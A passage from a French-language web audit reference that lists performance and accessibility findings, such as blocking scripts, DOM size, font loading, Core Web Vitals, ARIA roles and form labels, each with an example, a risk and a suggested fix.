.app .layout .main .content .card .title { font-size: 1.25rem; }au lieu de.content-card__title.- Risque
- Temps de résolution de style allongé sur les pages riches en éléments.
- Correction
- Aplatir la hiérarchie avec une convention de nommage (BEM ou utilitaires) plutôt que des sélecteurs imbriqués.
Des sélecteurs qui forcent un parcours coûteux du document sélecteur :has(), universel qualifié, ou attribut data-* en tête de sélecteur
Certains sélecteurs coûtent bien plus cher à résoudre qu'une classe ou un identifiant : :has() force un parcours descendant complet, un sélecteur universel qualifié (.sidebar > *) empêche le moteur de réutiliser le style calculé d'un élément frère, et un attribut data-* utilisé seul ne bénéficie d'aucun accès direct par table de hachage.
- Exemple
.form:has(input:invalid) { border-color: red; }sur un formulaire long.- Risque
- Temps de recalcul de style allongé, surtout sur une page riche en éléments.
- Correction
- Remplacer l'attribut par une classe équivalente, restreindre :has() à un enfant direct (
:has(> .field--invalid)), et éviter l'universel qualifié au profit d'une classe sur l'enfant.
Des services extérieurs contactés sans préparation de la connexion preconnect
Aucune balise <link rel="preconnect"> n'est déclarée pour les domaines tiers utilisés (CDN images, API, fonts, analytics). Chaque ressource subit alors le coût complet d'établissement de connexion : résolution DNS + handshake TCP + handshake TLS : 100 à 300 ms à chaque fois.
- Exemple
- Les images du site sont sur
cdn.imgix.commais pas depreconnect→ chaque image paie 200 ms de connexion à froid. - Risque
- LCP retardé de 200 à 500 ms si l'élément LCP est sur un domaine tiers.
- Correction
- Ajouter
<link rel="preconnect" href="https://cdn.tiers.com" crossorigin>dans le<head>pour les 2-4 domaines tiers les plus critiques.
Des styles chargés en chaîne, l’un après l’autre @import
Le CSS utilise @import qui force un téléchargement en série (cascade synchrone) : le navigateur découvre l'import après avoir parsé le premier fichier.
- Exemple
@import url('fonts.css');en tête deapp.css→ 2 RTT minimum en série.- Risque
- FCP dégradé, pas de parallélisation possible.
- Correction
- Remplacer
@importpar<link rel='stylesheet'>côté HTML.
Des variables CSS globales qui n’ont aucun type déclaré custom properties sur :root sans règle @property associée
Un grand nombre de variables CSS sont déclarées sur :root sans qu'aucune règle @property ne leur donne un type ni ne coupe leur héritage. Par défaut, chacune hérite sur tout l'arbre du document : la modifier oblige le moteur à reconsidérer chaque élément, même ceux qui ne l'utilisent pas.
- Exemple
:root { --sidebar-width: 280px; --card-radius: 8px; /* … 30 variables … */ }sans une seule règle@property.- Risque
- Chaque mutation de variable recalcule potentiellement tout le document.
- Correction
- Typer les variables qui n’ont pas besoin d’hériter avec
@property (inherits: false), et scoper les variables spécifiques à un composant au plus près de son usage plutôt que sur :root.
L’en-tête de la page n’est pas rangé dans le bon ordre <head>
Un script bloquant apparaît avant le CSS dans le <head>. Le navigateur doit attendre le script avant de commencer à parser le CSS : premier rendu retardé.
- Exemple
<script src='analytics.js'>placé avant<link rel='stylesheet' href='app.css'>→ CSS bloqué.- Risque
- FCP (First Contentful Paint) dégradé de plusieurs centaines de ms.
- Correction
- Ranger le
<head>selon l'ordre canonique : charset → viewport → title → preconnect → CSS → JS différé.
L’image principale n’est pas chargée en priorité fetchpriority
L'image responsable du Largest Contentful Paint (LCP) n'a pas l'attribut fetchpriority="high". Le navigateur la priorise comme une image lambda, alors qu'elle conditionne le ressenti de chargement de la page.
- Exemple
- Sur une page produit, l'image principale du produit charge après les bannières de l'en-tête car le navigateur ne sait pas qu'elle est la plus importante : l'utilisateur voit un cadre vide pendant 1 à 2 secondes.
- Risque
- LCP dégradé de 500 ms à 1500 ms, score Core Web Vitals en chute.
- Correction
- Ajouter
fetchpriority="high"sur l'image LCP (et seulement celle-ci) pour signaler sa priorité au navigateur.
La page contient beaucoup trop d’éléments > 3000 nœuds
La page contient plus de 3000 nœuds DOM : seuil critique. Au-delà, le navigateur peine sur tous les recalculs (scroll, hover, keydown).
- Exemple
- Tableau de 1000 lignes × 10 colonnes rendu d'un coup.
- Risque
- Scroll saccadé, frappe au clavier laggy.
- Correction
- Virtualiser les longues listes (tanstack-virtual, react-window) ou paginer.
La page contient trop d’éléments nœuds
La page contient un nombre excessif de nœuds DOM (> 1500). Chaque interaction coûte plus cher en reflow / repaint.
- Exemple
- Liste de 5000 items sans virtualisation → 30 000 nœuds DOM, scroll qui rame.
- Risque
- Scroll saccadé, frappe au clavier laggy.
- Correction
- Mettre en place de la virtualisation (react-virtual, tanstack-virtual) ou de la pagination.
La page dépasse ce que le serveur peut envoyer en un seul aller-retour fenêtre de congestion initiale TCP
Le document (styles et scripts insérés dans la page compris) est plus lourd que ce que la connexion peut transporter dès son premier envoi. L’affichage doit attendre un second aller-retour réseau avant même de commencer.
- Exemple
- Une page dont tous les styles sont insérés en ligne, sans feuille externe mise en cache.
- Risque
- Le premier affichage attend un aller-retour réseau de plus, sur chaque visite sans cache.
- Correction
- Réduire ce que la page insère en ligne, renvoyer le reste comme fichiers séparés et mis en cache.
La page est envoyée sans compression gzip / brotli
La réponse HTML est servie sans compression (ni gzip, ni brotli). Le navigateur télécharge 3 à 5 fois plus d'octets que nécessaire.
- Exemple
- Un HTML de 120 Ko servi tel quel au lieu de ~25 Ko en brotli.
- Risque
- TTFB perçu dégradé, surtout en mobile.
- Correction
- Activer
gzip/brotlicôté Nginx/CDN pour les types texte (text/html, css, js).
La page peut être servie obsolète sans être revérifiée Cache-Control sans revalidation
Le document HTML est mis en cache avec une durée de vie positive et sans consigne de revalidation. Un intermédiaire ou le navigateur peut alors servir une version obsolète.
- Exemple
- Cache-Control: max-age=3600 sur le document HTML lui-même.
- Risque
- Une personne peut voir une version de l’application déjà remplacée, sans le savoir.
- Correction
- Servir le document HTML avec no-cache (ou une revalidation courte), jamais avec un long max-age seul.
La page réécrit son propre contenu pendant qu’elle se charge document.write
Le code utilise document.write après le chargement initial. Cela bloque le rendu et casse le parsing HTML asynchrone du navigateur.
- Exemple
- Une lib publicitaire ancienne (Adsense legacy) appelle
document.write→ blocage de 200-500 ms. - Risque
- TTFB et LCP dégradés de plusieurs centaines de ms.
- Correction
- Remplacer
document.writepardocument.createElement+appendChildou supprimer la lib.
La page reste sourde aux clics pendant qu’elle se charge Total Blocking Time (TBT)
Le Total Blocking Time (temps de blocage du thread principal par de longues tâches JS >50ms) est élevé. Pendant ce temps, la page ignore les clics et les saisies.
- Exemple
- Un gros bundle JS parse/exécute 800ms au chargement → clics ignorés, page perçue comme figée.
- Risque
- Page non réactive (INP dégradé).
- Correction
- Découper le JS (code-splitting), différer/paresser le non-critique, alléger l’hydratation.
La structure de la page est trop profonde profondeur > 32
L'arbre DOM dépasse 32 niveaux d'imbrication. Style recalc et layout coûtent plus cher, mémoire en hausse.
- Exemple
- Composants imbriqués sans flatten (10 niveaux de wrappers React) → arbre à 50+ niveaux.
- Risque
- Performance dégradée sur appareils faibles.
- Correction
- Aplatir les composants wrappers inutiles, utiliser fragments React.
Le code de l’application est trop lourd à télécharger bundle JS
Le total JS transféré dépasse le seuil recommandé (> 350 KB gzipped). Téléchargement, parsing et exécution longs.
- Exemple
- Bundle webpack à 1.5 MB sans code splitting → 4 s d'attente sur 3G.
- Risque
- LCP et TTI dégradés, surtout sur mobile.
- Correction
- Activer code-splitting par route, tree-shaking strict, remplacer les libs lourdes.
Le contenu bouge à l’écran pendant le chargement Cumulative Layout Shift (CLS)
La mesure de ce qui se déplace visuellement pendant le chargement dépasse le seuil retenu. Un clic ou un appui peut atterrir sur le mauvais élément parce que la page a bougé entre-temps.
- Exemple
- Une image sans largeur ni hauteur déclarées pousse le texte vers le bas une fois chargée.
- Risque
- Clic sur le mauvais élément (ex. bouton qui a bougé).
- Correction
- Réserver l’espace des images et blocs insérés dynamiquement (dimensions déclarées, squelettes).
Le contenu bouge pendant le chargement Cumulative Layout Shift (CLS)
Des éléments majeurs (header, images, polices) déplacent le contenu après le premier rendu. CLS dégradé, frustration utilisateur.
- Exemple
- Police custom qui se charge après FCP → tout le texte saute (FOUT).
- Risque
- CLS > 0.1 = Core Web Vitals fail → SEO impacté.
- Correction
- Réserver l'espace via
width/heightouaspect-ratio, et utiliserfont-display: optionaloufont-display: swapavec préchargement.
Le contenu principal met trop de temps à s’afficher Largest Contentful Paint (LCP)
Le temps avant que le plus grand élément visible de la page (image, titre, bloc de texte) ne s’affiche dépasse le seuil retenu. C’est le moment où la personne perçoit que « la page est là ».
- Exemple
- Une image d’en-tête non optimisée ou chargée tardivement retarde l’affichage du contenu principal.
- Risque
- Impression de lenteur, abandon avant que le contenu n’apparaisse.
- Correction
- Précharger et prioriser la ressource du plus grand élément, réduire le rendu bloquant en amont.
Le nombre d’éléments de la page grossit à chaque visite croissance du DOM entre rechargements
Rechargée plusieurs fois de suite, la page affiche à chaque fois davantage d’éléments, de façon soutenue. C’est le signe d’un état conservé (stockage local, cache) qui s’accumule sans limite plutôt que d’une fuite mémoire confirmée : seul un instantané du tas du navigateur permettrait de trancher, ce que cet audit ne prend pas depuis l’extérieur.
- Exemple
- Un journal d’activité mis en cache dans le stockage local et rejoué intégralement à chaque visite, sans jamais être purgé.
- Risque
- Ralentissement progressif de la page à mesure que le stockage grossit.
- Correction
- Plafonner ou purger périodiquement l’état conservé côté navigateur ; confirmer une éventuelle fuite mémoire par un instantané du tas.
Le retour arrière recharge la page au lieu de la restaurer cache de navigation (back/forward cache)
Un clic sur « précédent » recharge la page depuis le réseau plutôt que de la restaurer depuis le cache de navigation du navigateur. L’écran précédent réapparaît plus lentement, et perd l’état qu’il avait.
- Exemple
- Un gestionnaire unload qui empêche la mise en cache de la page par le navigateur.
- Risque
- Le retour arrière est plus lent qu’il ne le devrait, et l’état de l’écran précédent est perdu.
- Correction
- Éviter unload, préférer pagehide, et ne pas exclure la page du cache de navigation sans raison.
Le serveur met trop de temps à répondre Time To First Byte (TTFB)
Le temps entre la demande de la page et le premier octet de la réponse du serveur dépasse le seuil retenu. Tout le reste du rendu part avec ce retard.
- Exemple
- Une page rendue côté serveur qui interroge plusieurs services avant de répondre.
- Risque
- Chaque écran hérite du retard, quelle que soit la rapidité du navigateur ensuite.
- Correction
- Mettre en cache les réponses côté serveur/CDN, réduire le travail fait avant le premier octet.
Le serveur met trop de temps à répondre, au regard du mandat Time To First Byte (TTFB), seuil de production
Le temps entre la demande de la page et le premier octet de la réponse du serveur dépasse le seuil de production retenu par le mandat. Tout le reste du rendu part avec ce retard.
- Exemple
- Une page rendue côté serveur qui interroge plusieurs services avant de répondre.
- Risque
- Chaque écran hérite du retard, quelle que soit la rapidité du navigateur ensuite.
- Correction
- Mettre en cache les réponses côté serveur/CDN, réduire le travail fait avant le premier octet.
Le texte reste invisible en attendant sa police FOIT
Une police custom est chargée sans font-display. Le texte reste invisible (Flash Of Invisible Text) pendant 1-3s.
- Exemple
@font-face { font-family: 'Inter'; src: url(...); }sansfont-display: swap.- Risque
- Utilisateur voit une page sans texte → impression de page cassée.
- Correction
- Ajouter
font-display: swapouoptionaldans chaque@font-face.
Les styles de l’application sont trop lourds à télécharger bundle CSS
Le CSS total dépasse le seuil recommandé (> 100 KB gzipped). Bloquant pour le rendu initial.
- Exemple
- Import complet d'un framework CSS (Bootstrap entier) au lieu des seuls composants utilisés.
- Risque
- First Paint retardé, LCP dégradé.
- Correction
- Activer PurgeCSS / tailwind JIT, ne charger que les feuilles nécessaires par route.
Les styles nécessaires au premier affichage sont dispersés CSS critique
Le CSS critique pour le rendu initial est dispersé entre plusieurs fichiers/origines. Le navigateur multiplie les requêtes série avant de pouvoir peindre.
- Exemple
- Page qui charge
app.css,theme.css,vendor.cssen série depuis trois domaines différents. - Risque
- FCP retardé par les requêtes CSS multiples.
- Correction
- Concaténer/inliner le critical CSS, défer le reste avec
media='print' onload=....
Plusieurs blocs de calcul interrompent l’interaction au chargement Long tasks (> 50ms)
Au chargement, plusieurs tâches JavaScript de plus de 50ms occupent le thread principal. Chacune retarde un clic, une saisie ou un défilement tombant pendant qu’elle s’exécute : un symptôme distinct d’un temps de blocage total élevé, qui mesure la durée cumulée plutôt que le nombre d’interruptions.
- Exemple
- Plusieurs scripts tiers s’initialisent l’un après l’autre juste après le chargement de la page.
- Risque
- Clics et saisies ignorés par intermittence pendant les premières secondes.
- Correction
- Découper les scripts au chargement en morceaux plus courts, différer ce qui n’est pas indispensable au premier rendu.
Trop de fichiers de code chargés séparément
La page charge un nombre excessif de scripts (> 30). Chaque script = requête, parsing, exécution.
- Exemple
- 50 scripts tiers (analytics, A/B testing, chat, cookies) cumulés sur une page.
- Risque
- Saturation HTTP/2 connection pool.
- Correction
- Consolider les chunks (taille cible 50-200 KB par chunk), désactiver les scripts tiers non critiques.
Trop de styles insérés directement dans la page CSS inline
La page contient un volume important de CSS inline (<style>...</style>). Pas de cache cross-page, taille HTML gonflée.
- Exemple
- Tailwind compilé inline (50 KB) sur chaque page → pas de cache navigateur.
- Risque
- Pages plus lourdes à charger (pas de cache).
- Correction
- Extraire le CSS dans un fichier statique cacheable, ne garder inline que le critical CSS.
Un changement de police visible sans compensation de mise en page font-display: swap sans size-adjust ni ascent-override sur le repli
Une police déclare font-display: swap : le texte s'affiche d'abord dans la police système, puis bascule vers la police définitive dès qu'elle est prête. Sans réglage des métriques de repli (size-adjust, ascent-override), ce basculement décale le texte quand les deux polices n'ont pas les mêmes proportions.
- Exemple
- Titre en police système large, puis rétréci d'un coup au chargement d'Inter → le bouton en dessous se déplace.
- Risque
- Décalage visuel perçu comme un défaut, en particulier sur mobile.
- Correction
- Ajouter une police de repli dédiée avec size-adjust, ascent-override et descent-override calculés pour correspondre à la police définitive (outil Fontaine ou Font Style Matcher).
Un script extérieur retarde l’affichage script bloquant
Un script externe est chargé sans async ni defer. Il bloque le parser HTML jusqu'à téléchargement + exécution.
- Exemple
<script src='https://cdn.tiers.com/widget.js'>en haut de page → blocage de plusieurs centaines de ms.- Risque
- LCP et FCP dégradés.
- Correction
- Ajouter
defer(ouasyncsi l'ordre n'importe pas) sur les scripts non critiques.
Un script inséré dans la page retarde l’affichage script inline bloquant
Un script inline (souvent volumineux) bloque le parsing HTML jusqu'à son exécution.
- Exemple
- Un bootstrap JS de 50 KB inline dans le
<head>→ blocage rendu jusqu'à exécution complète. - Risque
- LCP dégradé, First Paint retardé.
- Correction
- Sortir le script inline dans un fichier externe avec
defer, ou minimiser strictement à l'essentiel.
Un script non essentiel placé en tête de page <head>
Variante alternative de pf02-l1-c2 quand le script inline est volumineux ou non critique. Bloque le rendu pour rien.
- Exemple
- Polyfill inline de 30 KB pour un cas marginal.
- Risque
- LCP dégradé, First Paint retardé.
- Correction
- Sortir le script dans un fichier externe différé ou supprimer si non critique.
Une animation qui force un recalcul de la mise en page à chaque image propriété de layout animée (largeur, hauteur, marge, position) plutôt que transform ou opacity
Une animation ou une transition porte sur une propriété comme la largeur, la hauteur, une marge ou une position : le navigateur doit recalculer la mise en page à chaque image plutôt que de déléguer le travail au processeur graphique, ce qui coûte largement plus cher qu'une transformation ou un changement d'opacité.
- Exemple
.panel { width: 0; transition: width 300ms; } .panel.open { width: 320px; }pour ouvrir un panneau.- Risque
- Animation saccadée, en particulier sur un appareil peu puissant.
- Correction
- Remplacer la propriété animée par un
transformou uneopacityéquivalents (translateX/scale au lieu de width/left).
Une feuille de style extérieure retarde l’affichage CSS bloquant
Un fichier <link rel='stylesheet'> externe est synchrone : le rendu est entièrement bloqué jusqu'à téléchargement et parsing du CSS.
- Exemple
<link rel='stylesheet' href='https://cdn.tiers.com/style.css'>non critique.- Risque
- Si le tiers est lent/down, la page reste blanche.
- Correction
- Charger le CSS non critique avec
media='print' onload="this.media='all'"ou via JS.
Une grande page sans frontière de rendu déclarée aucune propriété contain ni content-visibility, page de plus de 1500 éléments
Sur une page riche en éléments, aucune règle ne délimite de frontière de rendu (contain ou content-visibility) : un changement dans une zone de la page peut obliger le moteur à reconsidérer l'ensemble du document faute de limite déclarée.
- Exemple
- Liste de 300 cartes sans
content-visibility: auto: chacune est calculée même hors de l’écran visible. - Risque
- Temps de rendu initial plus long que nécessaire.
- Correction
- Ajouter
content-visibility: auto(aveccontain-intrinsic-size) sur les listes longues, etcontain: layoutoucontain: contentsur les composants isolés.
Une image dont l’adresse est invalide src
Une balise <img> a un src manquant, vide ou invalide. Le navigateur ne peut afficher aucune image.
- Exemple
<img src="">généré par un template sans donnée.- Risque
- Image absente à l’affichage.
- Correction
- Renseigner un
srcvalide ou ne pas rendre l’élément<img>tant que la source n’est pas disponible.
Une police qui peut cacher le texte le temps de se charger font-display
Une @font-face ne déclare pas la directive font-display. Par défaut, le navigateur masque le texte (FOIT : Flash Of Invisible Text) pendant tout le chargement de la police : l'utilisateur voit une page sans aucun texte visible pendant 1 à 3 secondes.
- Exemple
- Page d'accueil utilisant Inter en webfont sans
font-display→ l'utilisateur voit la mise en page (images, boutons) mais zéro texte pendant 2 s sur 3G. - Risque
- Page perçue comme cassée pendant 1-3 secondes (rebond élevé).
- Correction
- Ajouter
font-display: swap(ouoptionalpour zéro CLS) dans chaque@font-face.
Une police téléchargée en entier alors qu’un sous-ensemble suffirait WOFF2 de plus de 50 Ko sans unicode-range déclaré
Un fichier de police dépasse 50 Ko sans qu'aucun sous-ensemble de caractères (unicode-range) ne soit déclaré : le navigateur télécharge l'intégralité des glyphes de la police, y compris ceux qu'aucune page du site n'affiche jamais.
- Exemple
- Police variable complète (95 Ko) chargée sans
unicode-range, alors que le site n’affiche que du texte latin. - Risque
- Bande passante gaspillée à chaque première visite, surtout sur mobile.
- Correction
- Générer des sous-ensembles avec un outil de subsetting (glyphhanger, pyftsubset) et déclarer
unicode-rangepar sous-ensemble dans chaque@font-face.
Accessibilité
31Ce qui permet à chacun de lire et de commander la page, aides techniques comprises.
Des zones à toucher trop petites pour un doigt 24×24 px
Des boutons ou liens font moins de 24×24 px (recommandation WCAG 2.5.5/2.5.8). Difficiles à taper sur mobile.
- Exemple
- Petits icônes 16×16 dans une barre d'outils mobile → l'utilisateur tape à côté 1 fois sur 3.
- Risque
- Taux d'erreur élevé sur mobile → abandon.
- Correction
- Cibles tactiles >= 44×44 px (Apple HIG) ou >= 24×24 px avec espace autour (WCAG 2.5.8).
Deux éléments portent le même identifiant id
Plusieurs éléments ont le même id dans la page. Comportement indéterminé pour getElementById, aria-labelledby, ancres, sélecteurs CSS.
- Exemple
- Deux
<div id='main'>→ un seul est ciblé par#main { ... }. - Risque
- Bugs subtils côté JS et CSS, difficiles à diagnostiquer.
- Correction
- Garantir l'unicité des IDs (lint côté build).
Du contenu hors de toute zone repérable par les aides techniques landmark
Des contenus de la page ne sont dans aucun landmark (main, nav, header, footer, etc.). Les lecteurs d'écran ne peuvent pas structurer la page.
- Exemple
- Du texte directement sous
<body>sans<main>autour → annoncé hors structure. - Risque
- Structure de page illisible au lecteur d'écran.
- Correction
- Envelopper chaque zone fonctionnelle dans le landmark adéquat (
main,nav,aside, etc.).
Du texte trop peu contrasté pour être lu par tous
Le ratio de contraste entre le texte et son fond est inférieur au seuil WCAG AA (4.5:1 pour texte normal). Texte illisible pour malvoyants, fatigant pour tous.
- Exemple
- Libellé gris clair (#999) sur fond blanc → utilisateurs au-dessus de 50 ans ont du mal à lire.
- Risque
- Exclusion des utilisateurs malvoyants (~ 8 % de la population adulte).
- Correction
- Viser un ratio >= 4.5:1 (texte normal) ou 3:1 (texte ≥ 18 pt bold). Tester avec un outil contrast checker.
L’ordre de tabulation est forcé à la main tabindex > 0
Un élément utilise tabindex='1' ou plus, ce qui force un ordre de focus 'manuel' fragile et incohérent avec le flux DOM.
- Exemple
- Un formulaire avec
tabindex='1'àtabindex='10'→ ajouter un champ casse tout. - Risque
- Ordre de focus imprévisible, expérience clavier cassée.
- Correction
- Utiliser uniquement
tabindex='0'(focusable, ordre DOM) outabindex='-1'(programmatique).
La langue déclarée par la page n’existe pas lang
L'attribut lang est présent mais avec une valeur non conforme à BCP 47 (fr_FR au lieu de fr-FR, francais au lieu de fr).
- Exemple
<html lang='francais'>→ ignoré par les lecteurs d'écran.- Risque
- Comportement assistif imprévisible (mauvaise prononciation).
- Correction
- Utiliser un code BCP 47 valide :
fr,fr-FR,en-US, etc.
La page déborde de l’écran sur mobile
Sur viewport mobile, le contenu déborde horizontalement. L'utilisateur doit scroller latéralement pour lire : anti-pattern majeur.
- Exemple
- Un tableau pas responsive force un scroll horizontal au-delà du viewport.
- Risque
- Lecture quasi-impossible sur mobile, abandon massif.
- Correction
- Utiliser
max-width: 100%sur les médias etoverflow-x: autosur les tableaux.
La page empêche d’agrandir le texte meta viewport user-scalable
La balise <meta name='viewport'> désactive le zoom utilisateur (user-scalable=no ou maximum-scale=1). Exclut les malvoyants qui ont besoin de zoomer.
- Exemple
<meta name='viewport' content='width=device-width, user-scalable=no'>→ impossible de zoomer sur mobile.- Risque
- Exclusion des utilisateurs malvoyants (besoin de zoomer jusqu'à 200%).
- Correction
- Retirer
user-scalable=noetmaximum-scale=1du viewport.
La page ne déclare pas sa langue lang
L'élément racine <html> ne porte pas d'attribut lang renseigné. La synthèse vocale choisit alors la langue par défaut du système et lit la page avec la mauvaise prononciation. Constat commun aux auditors seo et accessibility.
- Exemple
<html>sanslangsur une app française → VoiceOver lit le français avec une voix anglaise, incompréhensible.- Risque
- Contenu vocalisé inintelligible pour les utilisateurs de lecteur d'écran.
- Correction
- Déclarer
<html lang="fr">(code BCP 47 correspondant à la langue réelle servie).
La page ne délimite pas sa zone de contenu principal <main>
La page n'expose ni <main> ni [role=main]. Le raccourci « aller au contenu principal » des lecteurs d'écran n'a aucune cible : l'utilisateur retraverse l'en-tête et le menu à chaque navigation.
- Exemple
- Mise en page SPA où tout est empilé dans des
<div>→ aucun repère structurel annoncé. - Risque
- Navigation au lecteur d'écran lente et fatigante sur toutes les pages du layout.
- Correction
- Envelopper le contenu propre à la page dans un unique
<main>(et laisser en-tête/menu dans<header>/<nav>).
La page reste utilisable derrière la fenêtre ouverte aria-modal / inert
La page sous la fenêtre n'est ni inert ni masquée par aria-hidden : ses liens et ses boutons restent dans l'ordre de tabulation alors qu'ils sont visuellement recouverts.
- Exemple
- Fenêtre ouverte, on tabule et on atteint les boutons de la liste derrière, qu'on peut activer sans les voir.
- Risque
- Activation d'une commande invisible, donc effet inattendu.
- Correction
- Poser
inertsur le conteneur de la page pendant que la fenêtre est ouverte, et le retirer à la fermeture.
Le clavier n’entre pas dans la fenêtre qui s’ouvre focus management
À l'ouverture, le focus reste où il était, derrière la fenêtre. La première tabulation repart donc dans la page masquée.
- Exemple
- On ouvre une fiche, on appuie sur Tab, et le focus part sur un lien du menu latéral recouvert par la fenêtre.
- Risque
- Au clavier, on agit sur des éléments qu'on ne voit pas.
- Correction
- Déplacer le focus sur la fenêtre ou sur son premier élément focalisable à l'ouverture, et le rendre au déclencheur à la fermeture.
Les titres ne suivent pas un ordre logique h1 → h2 → h3
Les titres (h1, h2...) sautent un niveau ou redémarrent à zéro. La structure du document est incohérente.
- Exemple
- Page avec
h1puis directementh4→ le lecteur d'écran annonce une hiérarchie cassée. - Risque
- Navigation par titres (raccourci H des lecteurs d'écran) cassée.
- Correction
- Un seul
h1par page, puis hiérarchie continue (h2→h3→h4) sans saut.
Pas de raccourci pour sauter directement au contenu skip link
La page ne propose pas de mécanisme pour sauter la navigation et atteindre le contenu principal. Utilisateurs clavier obligés de tabuler dans tout le menu à chaque page.
- Exemple
- Sur un site à 30 liens dans le header, l'utilisateur clavier tabule 30 fois avant d'arriver au contenu.
- Risque
- Navigation clavier épuisante → abandon utilisateur.
- Correction
- Ajouter un lien skip-link visible au focus en début de page (
<a href="#main">Aller au contenu</a>).
Un attribut d’accessibilité qui ne convient pas à cet élément ARIA
Un attribut ARIA est utilisé sur un élément qui ne le permet pas (ex. aria-checked sur un <div> sans role='checkbox'). Annoncé ou ignoré de façon imprévisible.
- Exemple
<div aria-checked='true'>...</div>sansrole='checkbox'→ ignoré.- Risque
- Comportement assistif imprévisible, accessibilité non garantie.
- Correction
- Vérifier le rôle ARIA et n'utiliser que les attributs autorisés (WAI-ARIA spec).
Un bouton sans texte pour les aides techniques
Un bouton n'a pas de label exploitable par un lecteur d'écran. L'utilisateur ne sait pas ce qu'il déclenche.
- Exemple
<button><svg>...</svg></button>→ annoncé "bouton" sans plus.- Risque
- Lecteurs d'écran inutilisables → exclusion complète des malvoyants.
- Correction
- Ajouter un texte visible ou
aria-labeldescriptif sur le bouton.
Un cadre incrusté sans titre iframe
Une <iframe> n'a pas d'attribut title. Les lecteurs d'écran annoncent 'iframe' sans contexte, l'utilisateur ne sait pas quoi y trouver.
- Exemple
<iframe src='https://youtube.com/...'>sans title → annoncé 'iframe' tout court.- Risque
- Contenu embedded inaccessible aux malvoyants.
- Correction
- Ajouter
<iframe title='Vidéo de présentation produit'>(court mais descriptif).
Un champ de saisie sans intitulé rattaché <label>
Un <input>, <select> ou <textarea> n'a ni <label for>, ni <label> englobant, ni aria-label, ni aria-labelledby. Le champ est annoncé sans nom et le navigateur ne peut plus proposer l'autofill.
- Exemple
- Champ de recherche avec seulement un
placeholder→ annoncé « zone de texte » sans contexte, et le placeholder disparaît dès la saisie. - Risque
- Formulaire inutilisable au lecteur d'écran : le tunnel de conversion est cassé pour ces utilisateurs.
- Correction
- Associer un
<label for="id-du-champ">visible, ou à défaut unaria-labelexplicite ; leplaceholderne remplace jamais un libellé.
Un composant déclaré sans les éléments qu’il doit contenir aria-required-children
Un conteneur ARIA (role=listbox, role=menu, etc.) n'a pas les enfants ARIA attendus. La sémantique est cassée pour les lecteurs d'écran.
- Exemple
<div role='listbox'>sans<div role='option'>à l'intérieur → liste non annoncée.- Risque
- Composants UI sophistiqués (tabs, listbox) totalement inutilisables.
- Correction
- Respecter le contrat ARIA des rôles utilisés (cf. WAI-ARIA Authoring Practices).
Un élément cliquable placé dans un autre élément cliquable
Un bouton dans un bouton, un lien dans un lien : le comportement clavier et lecteur d'écran devient indéterminé. Tab order ambigu, double activation possible.
- Exemple
<button><a href='...'>Voir</a></button>→ quoi se passe-t-il à Enter ?- Risque
- Actions involontaires déclenchées au clavier ou au lecteur d'écran.
- Correction
- Choisir un seul élément interactif par zone, et utiliser CSS pour le visuel restant.
Un élément qui navigue sans être un vrai lien <a href>
Un élément change l'URL au clic (ligne de liste, carte, bouton) mais n'est pas un <a href>. Le lien natif porte un contrat que le handler JS ne reproduit pas : focus et activation clavier, ouverture dans un nouvel onglet, copie de l'adresse, rôle annoncé aux lecteurs d'écran.
- Exemple
- Une ligne de tableau
<div onClick={() => navigate("/leads/42")}>qui ouvre la fiche : inaccessible au clavier, invisible pour un crawler. - Risque
- Utilisateurs clavier et lecteurs d'écran ne peuvent pas atteindre ou comprendre la destination.
- Correction
- Rendre l’élément avec un vrai
<a href="…">(stylé librement) ; réserver<button>aux actions qui ne changent pas l’URL.
Un lien dont le texte est une adresse brute
Le texte visible d'un lien est une URL brute. Un lecteur d'écran l'épelle caractère par caractère et le lien n'apporte aucun contexte sémantique.
- Exemple
https://tordu-jardin.fr/blog/...comme texte de lien → épelé en entier à l'oral.- Risque
- Accessibilité dégradée.
- Correction
- Remplacer l'URL par un libellé humain décrivant la cible.
Un lien dont le texte ne dit pas où il mène « cliquez ici »
Un lien dont le texte est générique (« cliquez ici », « en savoir plus ») n'a aucun sens hors contexte. Les lecteurs d'écran et les moteurs ne peuvent pas en déduire la destination.
- Exemple
- Une liste de « En savoir plus » identiques est inutilisable au lecteur d'écran (navigation par liens).
- Risque
- Accessibilité dégradée (WCAG 2.4.4).
- Correction
- Rédiger un texte de lien explicite décrivant la destination (« Voir le projet Granit Golem »).
Un lien sans texte pour les aides techniques
Un <a href> n'expose aucun nom : pas de texte, pas d'aria-label, pas de title, et son éventuel aria-labelledby ne pointe vers aucun texte. Le lien est annoncé « lien » sans destination.
- Exemple
<a href="/profil"><svg>…</svg></a>→ annoncé « lien » tout court.- Risque
- Navigation impraticable au lecteur d'écran : impossible de choisir une destination.
- Correction
- Ajouter un texte visible dans le lien, ou un
aria-labeldécrivant la destination (« Voir mon profil »).
Un problème d’accessibilité
Un critère d’accessibilité (WCAG) n’est pas respecté : contraste, alternative textuelle, rôle ARIA, navigation clavier… L’usage devient difficile ou impossible pour une partie des utilisateurs.
- Exemple
- Un contraste texte/fond insuffisant, illisible pour un daltonien ou en plein soleil.
- Risque
- Exclusion d’utilisateurs en situation de handicap.
- Correction
- Corriger le critère signalé (contraste,
alt, label, focus visible) et re-tester avec un lecteur d’écran et axe-core.
Un rôle d’accessibilité qui n’existe pas ARIA
Un attribut role='...' utilise une valeur inconnue ou inappropriée. Le lecteur d'écran l'ignore ou annonce du bruit.
- Exemple
<div role='buton'>(typo) → rôle inexistant, l'élément n'est pas annoncé comme bouton.- Risque
- Sémantique cassée, UX assistée dégradée.
- Correction
- Utiliser uniquement les rôles ARIA standards (WAI-ARIA).
Une fenêtre qui ne se présente pas comme telle aux aides techniques role="dialog"
Une surcouche recouvre la page et se comporte comme une fenêtre modale, mais ne porte ni role="dialog" ni aria-modal="true". Pour le navigateur et les technologies d'assistance, c'est un bloc de contenu comme un autre au milieu de la page.
- Exemple
- Le détail d'une fiche s'ouvre dans un
<div class="fixed inset-0 z-50">: à l'écran c'est une fenêtre, dans l'arbre d'accessibilité c'est un paragraphe de plus. - Risque
- L'utilisateur non-voyant ne sait pas qu'un changement de contexte a eu lieu.
- Correction
- Porter
role="dialog"etaria-modal="true"sur le conteneur de la fenêtre, ou utiliser l'élément natif<dialog>avecshowModal().
Une fenêtre sans nom pour les aides techniques aria-label / aria-labelledby
La fenêtre s'annonce comme un dialogue et rien de plus : aucun aria-label, aucun aria-labelledby vers son titre.
- Exemple
- La fenêtre affiche un titre visible mais ne le relie pas à son conteneur par
aria-labelledby. - Risque
- L'utilisateur doit explorer tout le contenu pour deviner de quoi la fenêtre parle.
- Correction
- Relier le conteneur à son titre visible avec
